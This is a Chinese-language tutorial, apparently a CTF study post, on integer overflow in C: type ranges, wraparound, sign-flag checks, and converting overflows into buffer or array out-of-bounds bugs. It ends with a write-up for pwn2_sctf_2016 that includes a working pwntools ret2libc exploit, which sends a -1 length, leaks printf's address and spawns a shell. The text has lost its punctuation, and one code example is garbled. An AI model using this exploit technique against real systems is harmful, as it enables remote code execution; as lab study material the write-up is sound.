整数溢出当程序中的数据超过其数据类型的范围则会造成溢出整数类型的溢出被称为整数溢出。有符号整数类型字节数范围signed char1-2^7(-128) ~ 2^7-1(127)short int 或 short2-2^15(-32 768) ~ 2^15-1(32 767)int4-2^31(-2 147 483 648) ~ 2^31-1(2 147 483 647)long int 或 long4-2^31(-2 147 483 648) ~ 2^31-1(2 147 483 647)long long int 或 long long8-2^63(-9.2233720368548e18) ~ 2^63-1(9.2233720368548e18)无符号整数类型字节数范围unsigned char10 ~ 2^8-1(255)unsigned short int 或 unsigned short20 ~ 2^16-1(65 535)unsigned int40 ~ 2^32-1(4 294 967 295)unsigned long int 或 unsigned long40 ~ 2^32-1(4 294 967 295)unsigned long long int 或 unsigned long long80 ~ 2^64-1(1.844674407371e19)浮点数类型字节数范围float4-/3.4e38精确到6位小数double8-/1.7e308精确到15位小数long double12-/1.19e4932精确到18位小数存储1.负数的存储采用补码2.浮点数的存储任意一个二进制浮点数V可以表示成下面的形式( − 1 ) ^S ∗ M ∗ 2^E(-1)^s表示符号位当s0V为正数当s1V为负数。M表示有效数字大于等于1小于2。2^E表示指数位。二进制码M乘以2的n次方相当于将二进制码M的小数点向右移动n位,于科学计数法类似异常情况关于整数的异常情况主要有三种溢出只有有符号数才会发生溢出。有符号数的最高位表示符号在两正或两负相加时有可能改变符号位的值产生溢出。溢出标志OF可检测有符号数的溢出回绕进位标志CF可检测无符号数的回绕无符号数会回绕常绕过一些判断语句对于unsigned整型溢出C的规范是有定义的——“溢出后的数会以2^(8*sizeof(type))作模运算”也就是说如果一个unsigned char1字符8bits溢出了会把溢出的值与256求模。例如unsigned char x 0xff; printf(%d\n, x);上面的代码会输出0 因为0xff 1是256与2^8求模后就是0截断将一个较大宽度的数存入一个宽度小的操作数中高位发生截断。或者说计算机中有4种溢出情况以32位整数为例。无符号上溢无符号数0xFFFFFFFF加1变为0的情况。无符号下溢无符号数0减去1变为0xFFFFFFFF的情况。有符号上溢有符号数正数0x7FFFFFFF加1变为负数0x80000000即十进制-2147483648的情况。有符号下溢有符号负数0x80000000减去1变为正数0x7FFFFFFF的情况。OF(overflow flag) 溢出标志位溢出标志位OF 1 表示带符号整数运算时结果发生溢出。对于无符号整数运算OF没有意义。正数加正数永远为正数 对于有符号数的溢出判断方式有 1采用一位符号位思想为-- 或 -则为溢出其他情况无溢出 2采用双符号位s1、s2表示运算结果的两个符号位 ① s1s2 00 表示正数无溢出 ② s1s2 01 表示结果正溢出 即 --且s2表示当前运算符号-s1表示原本正确的符号 ③ s1s2 10 表示结果负溢出 即 -且s2表示当前运算符号s1表示原本正确的符号- ④ s1s2 11 表示结果为负数无溢出 3采用一位符号位根据数据位的进位情况判断溢出 Cs 表示两数之间符号位运算的进位 C1 表示最高数值位 V Cs⊕C1 ,若 V0 表示无溢出V1 表示有溢出 注最高位产生进位不一定有溢出整数溢出漏洞利用整数溢出要配合其他类型的缺陷才能有用不像栈溢出等内存破坏可以直接通过覆盖内存进行利用常常需要进行一定转换才能溢出。常见的转换方式有两种。整数溢出转换成缓冲区溢出整数溢出可以将一个很小的数突变成很大的数。比如无符号下溢可以将一个表示缓冲区大小的较小的数通过减法变成一个超大的整数导致缓冲区溢出。 另一种情况是通过输入负数的办法来绕过一些长度检查如一些程序会使用有符号数字表示长度那么就可以使用负数来绕过长度上限检查(例如用‘-1’绕过if条件对字符长度的检查 而大多数系统API使用无符号数来表示长度此时负数就会变成超大的正数导致溢出。整数溢出转数组越界在C语言中数组索引的操作只是简单地将数组指针加上索引来实现并不会检查边界。因此很大的索引会访问到数组后的数据如果索引是负数那么还会访问到数组之前的内存。 在数组索引的过程中数组索引还要乘以数组元素的长度来计算元素的实际地址。以int类型数组为例数组索引需要乘以4来计算偏移。假如通过传入负数来绕过边界检查那么正常情况下只能访问数组之前的内存。但由于索引会被乘以 4那么依然可以索引数组后的数据甚至整个内存空间。例如想要索引数组后0x1000字节处的内容只需要传入负数-2147482624该值用十六进制数表示为0x80000400再乘以元素长度4后由于无符号整数上溢结果即为0x00001000。可以看到与整数溢出转缓冲区溢出相比数组越界更容易利用。简单说危害整数回绕之后会导致索引越界取到不确定的数据或者判断失效形成死循环。回绕之后导致分配超大内存。pwn2_sctf_2016简单说在小于等于int 32下允许我们输入这个大小的内容get_n的返回值其实并没有被用到表面上没有栈溢出但是这个程序从没有严格控制我们输入的数字大小意味着我们可以输入超过这个类型范围的数字造成 整数溢出转换成缓冲区溢出输入负数即可但我有个问题无论nptr是char或者int理论上都是允许有负数的但是为什么这里只要是负数就可以溢出呢接下来就是写攻击脚本了用libcfrom pwn import * ​ p remote(node5.buuoj.cn,29965) elf ELF(sctfpwn2) libc ELF(libc-2.23.so) ​ printf_plt elf.plt[printf] printf_got elf.got[printf] main elf.sym[main] ​ p.recvuntil(bHow many bytes do you want me to read? ) p.sendline(b-1) p.recvuntil(bdata!\n) ​ payload1 ba * (0x2c 4) p32(printf_plt) p32(main) p32(printf_got) p.sendline(payload1) p.recvuntil(bYou said: ) p.recvline() ​ addr u32(p.recv(4)) print(addr:, hex(addr)) libc_base addr - libc.symbols[printf] system libc_base libc.symbols[system] binsh libc_base next(libc.search(/bin/sh.encode())) ​ payload2 ba * (0x2c 4) p32(system) p32(main) p32(binsh) ​ p.recvuntil(bHow many bytes do you want me to read? ) p.sendline(b-1) p.recvuntil(bdata!\n) p.sendline(payload2) ​ p.interactive()